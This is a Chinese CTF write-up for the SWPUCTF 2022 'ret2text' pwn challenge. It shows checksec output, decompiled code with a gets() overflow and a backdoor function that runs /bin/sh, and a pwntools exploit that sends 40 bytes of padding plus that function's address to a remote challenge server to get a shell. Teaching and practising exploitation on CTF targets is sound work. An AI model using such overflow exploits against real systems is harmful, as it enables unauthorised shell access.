0%

SWPUCTF2022新生赛_有手就行的栈溢出/pwn

2025-07-27 20:00By
icmping
栈溢出ret2text

Problem: [SWPUCTF 2022 新生赛]有手就行的栈溢出

思路

  • 解题大致思路
    """
    [*] '/home/u22pwn/1_pwn_challs/ret2text/SWPUCTF2022新生赛_有手就行的栈溢出/pwn'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    SHSTK: Enabled
    IBT: Enabled
    Stripped: No

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts(s);
overflow();
return 0;
}

__int64 overflow()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF

gets(v1);
return 0;
}

int fun()
{
char *argv[2]; // [rsp+0h] [rbp-10h] BYREF

argv[0] = "/bin/sh";
argv[1] = 0;
return execve("/bin/sh", argv, 0);
}
"""

存在后门函数fun。因此,可以利用栈溢出漏洞控制程序的执行逻辑,使其跳转执行fun函数即可。

EXP

  • 具体攻击代码
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

# io = process("./pwn")
io = remote("node5.anna.nssctf.cn", 28171)
# ret2text64
# payload: padding, fun

elf = ELF('./pwn')
fun_addr = elf.sym['fun']
pl = flat(b'A'*40, fun_addr)
io.sendlineafter(b'Do you know how stack overflows', pl)
io.interactive()

总结

  • 对该题的考点总结

RET2TEXT64

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论